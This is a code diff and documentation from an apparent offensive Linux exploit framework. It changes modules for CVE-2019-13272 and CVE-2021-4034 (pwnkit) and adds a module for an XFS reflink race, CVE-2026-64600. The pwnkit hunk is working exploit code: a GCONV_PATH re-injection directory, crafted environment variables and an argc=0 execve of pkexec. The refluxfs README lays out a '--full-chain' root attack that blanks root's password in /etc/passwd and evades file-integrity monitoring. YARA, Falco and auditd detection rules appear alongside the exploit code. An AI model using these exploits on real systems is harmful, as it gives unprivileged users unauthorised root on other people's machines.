" (user=%user.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.13272]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
||||
.summary = "PTRACE_TRACEME + setuid execve → non-degraded root in the traced child (pkexec helper)",
|
||||
.family = "ptrace_traceme",
|
||||
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
|
||||
.detect = ptrace_traceme_detect,
|
||||
.exploit = ptrace_traceme_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.cleanup = ptrace_traceme_cleanup,
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_sigma = ptrace_traceme_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = ptrace_traceme_falco,
|
||||
.opsec_notes = "The exploit builds a small helper on the target (needs cc/gcc) and drives pkexec against an auto-discovered polkit helper (implicit-active=yes). Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary, plus pkexec spawning an unusual helper with --help. Requires an active local session (or a polkit agent) to authorize pkexec — over inactive ssh sessions pkexec returns \"Not authorized\" and the module reports EXPLOIT_FAIL. Artifacts: a root-owned proof file and a setuid-root bash under /tmp (removed by cleanup()); the helper .c/binary are compiled and unlinked during the run. yama ptrace_scope>=2 or SELinux deny_ptrace defeat it.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
|
||||
@@ -314,32 +314,61 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* 4b. The re-injection directory. This is the piece that makes the
|
||||
* GCONV_PATH trick actually fire, and the classic bug when it's
|
||||
* omitted (pkexec prints "Cannot run program pwnkit" and glibc
|
||||
* "Could not open converter ... to PWNKIT", and NO root is obtained).
|
||||
*
|
||||
* With argc==0, pkexec reads envp[0] ("pwnkit") as the program path
|
||||
* and, since it isn't absolute, resolves it via PATH. We set
|
||||
* PATH=GCONV_PATH=. so pkexec searches a directory literally named
|
||||
* "GCONV_PATH=." for an executable "pwnkit"; when it finds
|
||||
* "GCONV_PATH=./pwnkit" it writes that string back over envp[0],
|
||||
* thereby RE-INJECTING GCONV_PATH=./pwnkit into the (already
|
||||
* sanitised) environment. pkexec then emits an error whose message
|
||||
* glibc converts via the PWNKIT charset, dlopen()ing ./pwnkit/PWNKIT.so
|
||||
* as root. So we need (a) the "GCONV_PATH=." dir + executable "pwnkit",
|
||||
* and (b) CWD == workdir so "./pwnkit" resolves to sodir. */
|
||||
char injdir[1024];
|
||||
snprintf(injdir, sizeof injdir, "%s/GCONV_PATH=.", workdir);
|
||||
if (mkdir(injdir, 0755) < 0 && errno != EEXIST) {
|
||||
perror("mkdir GCONV_PATH=."); goto fail;
|
||||
}
|
||||
char injexe[2048];
|
||||
snprintf(injexe, sizeof injexe, "%s/pwnkit", injdir);
|
||||
/* Content is irrelevant — it never actually runs; the payload fires during
|
||||
* pkexec's error-message conversion before any exec of this file. It only
|
||||
* has to exist and be executable so g_find_program_in_path() locates it. */
|
||||
if (!write_file_str(injexe, "#!/bin/sh\n:\n")) {
|
||||
fprintf(stderr, "[-] pwnkit: write inject exe failed\n"); goto fail;
|
||||
}
|
||||
chmod(injexe, 0755);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
||||
}
|
||||
|
||||
/* 5. Construct the argv-overflow trick. The env vars become argv
|
||||
* via the bug; pkexec parses the first as argv[0] which it
|
||||
* then uses to find the binary to re-exec. By naming
|
||||
* 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir
|
||||
* with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root.
|
||||
*
|
||||
* Reference: Qualys' PWNKIT writeup. */
|
||||
/* 5. Construct the argv-overflow trick (see 4b for the mechanism).
|
||||
* Reference: Qualys' PWNKIT writeup + Berdav's PoC layout. */
|
||||
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
||||
char gconv_env[1024];
|
||||
snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir);
|
||||
char *envp[] = {
|
||||
"pwnkit", /* becomes argv[0] via overflow */
|
||||
"PATH=GCONV_PATH=.", /* pkexec parses this as PATH */
|
||||
"pwnkit", /* becomes argv[0]=path via the overflow */
|
||||
"PATH=GCONV_PATH=.", /* pkexec re-injects GCONV_PATH=./pwnkit */
|
||||
"CHARSET=PWNKIT",
|
||||
"SHELL=pwnkit",
|
||||
gconv_env,
|
||||
NULL,
|
||||
};
|
||||
/* tighten workdir perms so pkexec (root) can traverse */
|
||||
chmod(workdir, 0755);
|
||||
chmod(sodir, 0755);
|
||||
|
||||
/* CWD must be the workdir so the re-injected GCONV_PATH=./pwnkit resolves
|
||||
* to workdir/pwnkit/{gconv-modules,PWNKIT.so}. Without this the converter
|
||||
* is never found and no root is obtained. */
|
||||
if (chdir(workdir) != 0) {
|
||||
perror("chdir workdir"); goto fail;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
||||
}
|
||||
@@ -384,6 +413,59 @@ static const char pwnkit_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
|
||||
|
||||
static const char pwnkit_yara[] =
|
||||
"rule pwnkit_gconv_modules_cache : cve_2021_4034 lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-4034\"\n"
|
||||
" description = \"Pwnkit gconv-modules cache: redefines UTF-8 to load an attacker .so via iconv when pkexec is invoked with argc==0.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\"\n"
|
||||
" strings:\n"
|
||||
" // gconv-modules text format: \"module FROM// TO// SHARED-OBJECT COST\".\n"
|
||||
" // Published PoCs redefine UTF-8 and point it at a .so dropped in /tmp.\n"
|
||||
" $line = /module\\s+UTF-8\\/\\/\\s+\\S+\\/\\/\\s+\\S+\\s+\\d/\n"
|
||||
" $alias = /alias\\s+\\S+\\s+UTF-8/\n"
|
||||
" // Hint: PoC workdirs frequently include 'pwnkit' or 'GCONV' in path strings the .so carries.\n"
|
||||
" $marker_pwn = \"pwnkit\" nocase\n"
|
||||
" $marker_gcv = \"GCONV_PATH\"\n"
|
||||
" condition:\n"
|
||||
" // Small text-format file (gconv-modules caches are tiny) with the module redefinition.\n"
|
||||
" // Pair with -w /tmp -p wa auditd to catch the drop in real time.\n"
|
||||
" filesize < 4KB and $line and 1 of ($alias, $marker_pwn, $marker_gcv)\n"
|
||||
"}\n";
|
||||
|
||||
static const char pwnkit_falco[] =
|
||||
"- rule: Pwnkit-style pkexec invocation (NULL argv)\n"
|
||||
" desc: |\n"
|
||||
" pkexec executed without argv (argc == 0). The Qualys PoC for\n"
|
||||
" CVE-2021-4034 invokes pkexec via execve with NULL argv so the\n"
|
||||
" out-of-bounds argv read picks up envp as if it were argv[1].\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = pkexec and\n"
|
||||
" (proc.cmdline = \"pkexec\" or proc.args = \"\")\n"
|
||||
" output: >\n"
|
||||
" Possible Pwnkit (CVE-2021-4034): pkexec spawned with no argv\n"
|
||||
" (user=%user.name uid=%user.uid pid=%proc.pid ppid=%proc.ppid\n"
|
||||
" parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2021.4034]\n"
|
||||
"\n"
|
||||
"- rule: Pwnkit-style GCONV_PATH injection\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets GCONV_PATH in env before spawning a\n"
|
||||
" setuid binary. Combined with a controlled .so + gconv-modules\n"
|
||||
" cache, this is the Qualys exploit shape.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and not user.uid = 0 and\n"
|
||||
" (proc.env contains \"GCONV_PATH=\" or proc.env contains \"CHARSET=\") and\n"
|
||||
" proc.name in (pkexec, su, sudo, mount, chsh, passwd)\n"
|
||||
" output: >\n"
|
||||
" GCONV_PATH/CHARSET set by non-root before setuid spawn\n"
|
||||
" (user=%user.name target=%proc.name env=\"%proc.env\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, env_injection, cve.2021.4034]\n";
|
||||
|
||||
static const char pwnkit_sigma[] =
|
||||
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
|
||||
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
|
||||
@@ -417,8 +499,10 @@ const struct skeletonkey_module pwnkit_module = {
|
||||
.cleanup = pwnkit_cleanup,
|
||||
.detect_auditd = pwnkit_auditd,
|
||||
.detect_sigma = pwnkit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = pwnkit_yara,
|
||||
.detect_falco = pwnkit_falco,
|
||||
.opsec_notes = "Invokes pkexec with argc==0 so the first envp slot is misread as argv[0]; pkexec's iconv-during-decoding loads attacker .so via dlopen by way of crafted GCONV_PATH + CHARSET env vars. Builds a gconv payload .so and gconv-modules cache in /tmp/skeletonkey-pwnkit-XXXXXX (compiles via fork/execl of gcc). Audit-visible via execve(/usr/bin/pkexec) with GCONV_PATH and CHARSET set. No network. Cleanup callback removes /tmp/skeletonkey-pwnkit-* (on failure path; on success the exec replaces the process).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pwnkit(void)
|
||||
|
||||
@@ -0,0 +1,287 @@
|
||||
# refluxfs — CVE-2026-64600
|
||||
|
||||
"RefluXFS" — a time-of-check/time-of-use race in the XFS **reflink
|
||||
copy-on-write** path that lets **any unprivileged local user overwrite the
|
||||
on-disk contents of any file they can read**, on any XFS volume mounted with
|
||||
`reflink=1` that they can write to. No user namespace, no capability, no crafted
|
||||
filesystem image, no kernel offsets. It has been present since reflink direct-I/O
|
||||
CoW landed in **4.11 (2017)** — a nine-year window.
|
||||
|
||||
This is the corpus's first XFS module, and its first **data-oriented** kernel
|
||||
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
||||
corruption.
|
||||
|
||||
> **🟢 Full chain (`--full-chain`), VM-verified end-to-end.**
|
||||
> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it
|
||||
> reflink-clones `/etc/passwd`, races the CoW window, strips root's password
|
||||
> field on disk (`root:x:` → `root::`), evicts the stale page cache, and
|
||||
> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without**
|
||||
> `--full-chain` the module runs a safe reachability trigger only, confined to
|
||||
> files the caller owns. See "Full-chain verification" below.
|
||||
|
||||
## The bug
|
||||
|
||||
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
||||
extent map under `ILOCK`. To allocate a transaction it must wait for log space,
|
||||
so `xfs_reflink_fill_cow_hole()` (`fs/xfs/xfs_reflink.c`) **drops `ILOCK`**. On
|
||||
re-acquiring it, the code re-queries the refcount btree at the **original**
|
||||
physical block number (`imap->br_startblock`) — and **never re-reads the data
|
||||
fork**.
|
||||
|
||||
A second `O_DIRECT` writer, holding only the coarser `IOLOCK`, can complete an
|
||||
entire CoW cycle inside that window: allocate block Y, write it, and remap via
|
||||
`xfs_reflink_end_cow()`. The first writer's `imap` now points at a block owned
|
||||
solely by the reflink **source**. Its stale refcount lookup returns `1`, it
|
||||
concludes the block is private, and writes to it in place — landing attacker
|
||||
data on the source file's on-disk blocks.
|
||||
|
||||
Three consequences follow, and they drive the whole module design:
|
||||
|
||||
1. **No offsets, no ROP, no KASLR/SMEP/SMAP.** There is nothing to port per
|
||||
kernel build. Qualys is explicit that SELinux enforcing, container
|
||||
boundaries and seccomp are equally irrelevant.
|
||||
2. **The victim's inode is never written.** The data is applied to the shared
|
||||
physical block *underneath* it, so `mtime`/`ctime`/size do not change and
|
||||
there is no kernel log output. **File-integrity monitoring does not fire.**
|
||||
3. **It persists across reboots**, because the change is on disk.
|
||||
|
||||
The public demonstration (RHEL 10.2) reflink-clones `/etc/passwd` into
|
||||
`/var/tmp`, races concurrent direct-I/O writes against the clone, thereby
|
||||
rewriting `/etc/passwd` itself to strip root's password, and runs `su`.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Introduced | **4.11** (2017-02, commit `3c68d44a2b49`, "xfs: allocate direct I/O COW blocks in iomap_begin") |
|
||||
| Fixed upstream | commit `2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK") — merged **2026-07-16**, released **7.2-rc4** |
|
||||
| Stable backports | **7.1.4** (`e705d81a7193`) · **6.18.39** (`206c09b04dc5`) · **6.12.96** (`44f891bc0889`) |
|
||||
| Affected, no upstream fix | 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines (per the CNA record at time of writing) |
|
||||
| Not affected | < 4.11 — includes RHEL/CentOS **7** (3.10 predates reflink) |
|
||||
| NVD class | CWE-362 (race) → CWE-367 (TOCTOU). NVD had published **no CWE and no CVSS vector** at time of writing |
|
||||
| CISA KEV | no (disclosed 2026-07-22) |
|
||||
|
||||
**The exposure is distro-shaped, not kernel-shaped.** What matters is whether
|
||||
XFS+reflink is the installer default:
|
||||
|
||||
| Exploitable out of the box | Not reachable by default |
|
||||
|---|---|
|
||||
| RHEL 8/9/10 · CentOS Stream 8/9/10 · Rocky/AlmaLinux 8/9/10 · Oracle Linux 8/9/10 (RHCK + UEK R6/R7/8) · CloudLinux 8/9/10 · Fedora Server ≥ 31 · Amazon Linux 2023 (and AL2 AMIs from 2022-12) | Debian · Ubuntu · Fedora Workstation · SLES · openSUSE · Arch (ext4/btrfs defaults — unless an XFS volume was added deliberately) |
|
||||
|
||||
### ⚠️ The version gate has a real blind spot here
|
||||
|
||||
The affected population is overwhelmingly **RHEL-family**, and those vendors
|
||||
backport fixes **without bumping the upstream base version** — a patched RHEL 8
|
||||
kernel still reports `4.18.0-xxx.el8`. An upstream-version gate cannot see that.
|
||||
|
||||
So on rpm-family hosts, a `VULNERABLE` verdict is a statement about the
|
||||
**upstream base version only**. `detect()` prints that warning explicitly rather
|
||||
than implying it checked the erratum. Confirm against the vendor advisory
|
||||
(RHSA / ELSA / ALSA / RLSA) before acting on it.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
Unlike a pure kernel race, this bug's reachability **can** be established safely
|
||||
and deterministically, so `detect()` is a version gate **plus a real
|
||||
precondition probe**:
|
||||
|
||||
- **Passive** — is there a writable directory on a mounted XFS filesystem?
|
||||
Identified via `statfs(2)` `f_type == XFS_SUPER_MAGIC`, **not** by a
|
||||
successful `FICLONE`, because btrfs implements `FICLONE` too and is
|
||||
unaffected. No such directory → `PRECOND_FAIL`, the correct verdict on a
|
||||
stock Debian/Ubuntu host.
|
||||
- **Active** (`--active` / `--auto`) — confirms `reflink=1` empirically by
|
||||
cloning and removing two 4 KiB files, rather than assuming the `mkfs.xfs`
|
||||
default. `reflink=0` → no shared extents can exist → `PRECOND_FAIL`.
|
||||
- **Override** — `SKELETONKEY_XFS_ASSUME_REFLINK=1` (force reachable) / `0`
|
||||
(force unreachable), for when you know the fleet's storage layout better than
|
||||
a local probe can. This also drives the unit tests.
|
||||
|
||||
### `--full-chain` — the real `/etc/passwd` root pop
|
||||
|
||||
With `--full-chain`, `exploit()` performs the actual privilege escalation:
|
||||
|
||||
1. **Pre-flight, before touching anything.** Confirms the target
|
||||
(`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in
|
||||
one block, and **crafts the payload first** — the original file with root's
|
||||
password field emptied (`root:x:` → `root::`), **every other line preserved
|
||||
byte-for-byte**, padded with newlines to the exact original size. If it
|
||||
cannot produce a payload that keeps both root and the invoking user's line,
|
||||
it refuses and touches nothing. (A naive port that truncates the tail drops
|
||||
`sshd`/`nobody`/the caller and bricks login — this is the single most
|
||||
important safety property of the implementation.)
|
||||
2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it.
|
||||
3. **Race.** 32 writers push the crafted block at a reflink-clone of the target
|
||||
while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won
|
||||
race lands the crafted block on the target's still-shared physical block.
|
||||
4. **Cache eviction.** The overwrite bypasses the target inode, so its clean
|
||||
page-cache pages are never invalidated — a `su` immediately after would read
|
||||
the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only
|
||||
an `O_RDONLY` fd) so subsequent buffered readers see the new bytes.
|
||||
5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk
|
||||
root line is now `root::`; if the write was torn, it restores from backup and
|
||||
fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password).
|
||||
|
||||
`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup.
|
||||
The overwrite is persistent and survives reboot, so restoring matters.
|
||||
|
||||
#### The private-extent precondition (not in the public writeup)
|
||||
|
||||
The race only fires when the target's extent refcount is **exactly** the
|
||||
attacker-clone pair — i.e. the target's extent must be **private** going in. The
|
||||
mechanism: the block starts at refcount 2 (target + attacker clone), the
|
||||
concurrent CoW drops it to 1, and the stale writer then reads "1 → private". If
|
||||
the target is *already* reflink-shared with a third file, the post-CoW refcount
|
||||
stays > 1, the writer correctly does CoW, and nothing corrupts.
|
||||
|
||||
This was found during verification: the stock Rocky 9 cloud image ships
|
||||
`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and
|
||||
the attack failed against it across ~41 000 rounds. Rewriting the file so its
|
||||
extent became private — with byte-identical content, exactly what any
|
||||
`useradd`/`passwd`/`vipw` does — made it fall in ~2 000 rounds. So the
|
||||
exploitable state is the *normal* administered state; the cloud image was
|
||||
accidentally protected by how it was built. `detect() --active` reports the
|
||||
target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by
|
||||
hand), and the full chain warns when the target is pre-shared.
|
||||
|
||||
### `--full-chain` verification (2026-07-23, Rocky 9.8)
|
||||
|
||||
On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux
|
||||
**Enforcing**, against a private-extent `/etc/passwd`:
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 4–30 s) |
|
||||
| `su root` (empty password) afterwards | **`uid=0(root)`** |
|
||||
| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact |
|
||||
| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content — FIM-invisible |
|
||||
| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup |
|
||||
| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched |
|
||||
| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) — as predicted |
|
||||
|
||||
### The safe default trigger
|
||||
|
||||
Without `--full-chain`, `exploit()` forks an isolated child that creates a
|
||||
private `mkdtemp` scratch directory on the XFS mount and works **only on two
|
||||
files it owns**:
|
||||
|
||||
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
||||
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
||||
shared (refcount > 1), plus that `O_DIRECT` opens succeed. That is a
|
||||
read-only observation that the exact filesystem state the bug misjudges
|
||||
exists here. Reflink cloning is an ordinary supported operation, so this
|
||||
phase is safe on any kernel.
|
||||
- **(B) hard-bounded window exercise** — races **8** concurrent `O_DIRECT`
|
||||
4 KiB writes against the clone while **2** helper threads cycle
|
||||
`ftruncate`/`fdatasync` to keep the transaction allocator dropping `ILOCK` to
|
||||
wait for log space, for at most **16 rounds / 2 s**. Then it stops and reads
|
||||
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
||||
page cache that the corruption bypasses, and would hide a win.
|
||||
|
||||
This default path is **deliberately under-driven** (the public PoC and the
|
||||
`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets
|
||||
a file it does not own** — the destructive `/etc/passwd` overwrite lives only
|
||||
behind `--full-chain` (above). The default `exploit()` always returns
|
||||
`EXPLOIT_FAIL`.
|
||||
|
||||
If the race *is* won on the safe path, the module says so loudly: that is
|
||||
CVE-2026-64600 confirmed present, empirically, with the damage contained to
|
||||
4 KiB of the operator's own scratch file.
|
||||
|
||||
## VM verification (2026-07-23)
|
||||
|
||||
Confirmed on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** under
|
||||
qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on
|
||||
`/dev/vda4` XFS with `reflink=1`, no provisioner changes:
|
||||
|
||||
| Check | Result |
|
||||
|---|---|
|
||||
| `detect()` on real XFS | **VULNERABLE** (found writable XFS at `/var/tmp`) |
|
||||
| rpm-family backport caveat | fired correctly |
|
||||
| `--active` FICLONE witness | **reflink CONFIRMED** |
|
||||
| Phase A shared extent | **`FIEMAP_EXTENT_SHARED` set** (btrfs never reported it; XFS does) |
|
||||
| Phase A `O_DIRECT` gate | available |
|
||||
| Shipped trigger (8 writers / 2 helpers / 2 s) | ran 16 rounds, **did not win** — *by design* |
|
||||
| Scratch cleanup | no artifacts left |
|
||||
| Build on el9 gcc | clean |
|
||||
|
||||
**The underlying bug was separately confirmed winnable on that kernel.** The
|
||||
`--full-chain` run above is the definitive proof — the same reflink-CoW race
|
||||
rewrote `/etc/passwd` and landed root **3/3** (1244 / 3716 / 7913 rounds). An
|
||||
earlier *non-destructive* measurement, driven at the public PoC's parameters
|
||||
(32 writers / 8 helpers, 60 s) but confined to two files the test user owned,
|
||||
won **4/4** (first divergence after **69, 114, 170 and 494 rounds**): a racing
|
||||
`O_DIRECT` write landing on a still-shared block and rewriting the donor's
|
||||
on-disk bytes — the arbitrary-overwrite primitive, observed directly, contained
|
||||
entirely to attacker-owned files.
|
||||
|
||||
Note carefully what this does and does not say. The shipped trigger **not**
|
||||
winning in 2 s on a kernel that is provably vulnerable is exactly the designed
|
||||
behaviour, and is the concrete reason a non-win must **never** be read as
|
||||
"patched" — trust the version gate and the vendor erratum instead.
|
||||
|
||||
### Why this ranks *above* the other reconstructed race triggers
|
||||
|
||||
`bad_epoll` (12) and `ghostlock` (11) sit at the bottom of the `--auto` safety
|
||||
ranking because a won race frees a live `struct file` or corrupts the kernel
|
||||
**stack** — silent destabilisation or near-certain panic. Neither applies here.
|
||||
RefluXFS corrupts **file data, not kernel memory**: there is no oops, no KASAN
|
||||
report, no panic risk, and the blast radius of a win is one 4 KiB scratch file
|
||||
we created and delete. That is why `refluxfs` carries safety rank **55** — it is
|
||||
genuinely safe to run, and the ranking should say so. The VM run above bears
|
||||
this out: the bug was won 4/4 times on a vulnerable kernel with no oops, no
|
||||
dmesg output and no instability.
|
||||
|
||||
## Detection — the obvious rule does not work
|
||||
|
||||
**Do not rely on `-w /etc/passwd -p wa`, AIDE, or Tripwire for this CVE.** The
|
||||
attacker never issues a `write(2)` against the victim inode; XFS applies their
|
||||
data to the shared physical block beneath it. Size, `mtime` and `ctime` are
|
||||
unchanged and nothing is logged. Anyone relying on FIM to catch a `passwd`
|
||||
modification is blind to this bug *by construction*.
|
||||
|
||||
What does work, in descending order of fidelity:
|
||||
|
||||
1. **The reflink itself** — `ioctl(fd, FICLONE, srcfd)` where `FICLONE` is
|
||||
`0x40049409`. auditd can match the request number **exactly**, so it does not
|
||||
flood, and the attack cannot avoid it. Tune out `cp --reflink=auto`, podman
|
||||
and `systemd-nspawn` image work.
|
||||
2. **`O_DIRECT` opens** — `openat` flags `& 0x4000`. Also on the critical path,
|
||||
and rare outside databases and backup agents.
|
||||
3. **Content-vs-metadata drift** — because the bytes change while `mtime` does
|
||||
not, hashing `/etc/passwd`, `/etc/shadow` and the setuid binaries on a
|
||||
schedule and alerting when the *content* hash moves **without** a
|
||||
corresponding `mtime` change is a near-zero-false-positive detector for this
|
||||
whole bug class.
|
||||
|
||||
The shipped rules cover all three: auditd/sigma anchor on the `FICLONE` request
|
||||
number and `O_DIRECT` opens (correlated per-pid, plus the post-exploitation
|
||||
euid-0 transition), falco adds the high-fidelity "reflinked a file owned by
|
||||
another user" condition, and — unusually for a kernel bug — the **yara** rule is
|
||||
genuinely the right tool, matching the on-disk artifact (`/etc/passwd` with a
|
||||
password-less root entry or an added uid-0 account) precisely because there is
|
||||
no metadata trace for FIM to find.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (≥ 7.1.4 / 6.18.39 / 6.12.96 on-branch, or 7.2+; on
|
||||
RHEL-family, the vendor erratum) **and reboot**.
|
||||
|
||||
There is **no partial mitigation**, which is why `mitigate()` is `NULL`:
|
||||
`reflink` is a superblock feature that cannot be disabled on a live filesystem,
|
||||
`O_DIRECT` cannot be turned off, and — because this is a data-oriented bug —
|
||||
SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
|
||||
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
||||
around, isolate, or live-patch."*
|
||||
|
||||
`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as
|
||||
root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then
|
||||
sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was
|
||||
killed mid-round; normal runs remove their own.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery and research: **Qualys Threat Research Unit (TRU)**; the blog post is
|
||||
authored by **Saeed Abbasi**, and the technical advisory credits model-assisted
|
||||
kernel analysis performed with **Anthropic**. Upstream fix `2f4acd0fcd86`. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,122 @@
|
||||
# NOTICE — refluxfs (CVE-2026-64600)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-64600** — "RefluXFS", a **time-of-check/time-of-use race** in the
|
||||
Linux kernel's XFS **reflink copy-on-write** path
|
||||
(`fs/xfs/xfs_iomap.c` :: `xfs_direct_write_iomap_begin` →
|
||||
`fs/xfs/xfs_reflink.c` :: `xfs_reflink_allocate_cow` /
|
||||
`xfs_reflink_fill_cow_hole` / `xfs_find_trim_cow_extent`).
|
||||
|
||||
A direct-I/O writer reads the data-fork extent map under `ILOCK`, then drops
|
||||
`ILOCK` to allocate a transaction (waiting for log space). On re-acquiring the
|
||||
lock it re-queries the refcount btree at the **original** physical block number
|
||||
(`imap->br_startblock`) and never re-reads the data fork. A concurrent
|
||||
`O_DIRECT` writer holding only the coarser `IOLOCK` can complete a full CoW
|
||||
cycle in that window (allocate block Y, write, remap via
|
||||
`xfs_reflink_end_cow()`), leaving the first writer's `imap` pointing at a block
|
||||
now owned solely by the reflink **source**. The stale lookup returns refcount
|
||||
`1`, the writer treats the block as private, and writes to it in place.
|
||||
|
||||
The resulting primitive is **not memory corruption**: it is an arbitrary
|
||||
overwrite of the **on-disk contents of any file the attacker can read**, on any
|
||||
reflink-enabled XFS volume they can write to. It needs **no kernel offsets, no
|
||||
ROP, and no KASLR/SMEP/SMAP bypass**, and it is unaffected by SELinux enforcing,
|
||||
container boundaries or seccomp. Because the write is applied to the shared
|
||||
physical block *beneath* the victim inode, the victim's `mtime`/`ctime`/size
|
||||
never change and no kernel log output is produced — **file-integrity monitoring
|
||||
does not detect it** — and the change persists across reboots.
|
||||
|
||||
Reachable by **any unprivileged local user**: no capability, no user namespace,
|
||||
no crafted filesystem image. Preconditions are only an XFS filesystem mounted
|
||||
with `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) that the user can
|
||||
write to, plus read access to the target file. NVD class: **CWE-362** (race)
|
||||
yielding **CWE-367** (TOCTOU); NVD had published neither a CWE nor a CVSS vector
|
||||
at time of writing. **Not** in CISA KEV (disclosed 2026-07-22).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery and research** by the **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-07-22 as "RefluXFS: A Linux Kernel Local Privilege Escalation
|
||||
to Root in XFS (CVE-2026-64600)"
|
||||
(<https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600>),
|
||||
authored by **Saeed Abbasi**, with the technical advisory at
|
||||
<https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt> and the disclosure
|
||||
posted to oss-security
|
||||
(<https://www.openwall.com/lists/oss-security/2026/07/22/14>). The advisory
|
||||
credits model-assisted kernel analysis performed with **Anthropic**.
|
||||
Qualys demonstrated end-to-end root on **RHEL 10.2** by reflink-cloning
|
||||
`/etc/passwd` into `/var/tmp` and racing concurrent direct-I/O writes to
|
||||
rewrite it in place. SKELETONKEY's trigger reconstruction uses only the
|
||||
published shape of that race — the reflink clone, the concurrent `O_DIRECT`
|
||||
writers, and the `ftruncate`/`fdatasync` helpers that widen the window — and
|
||||
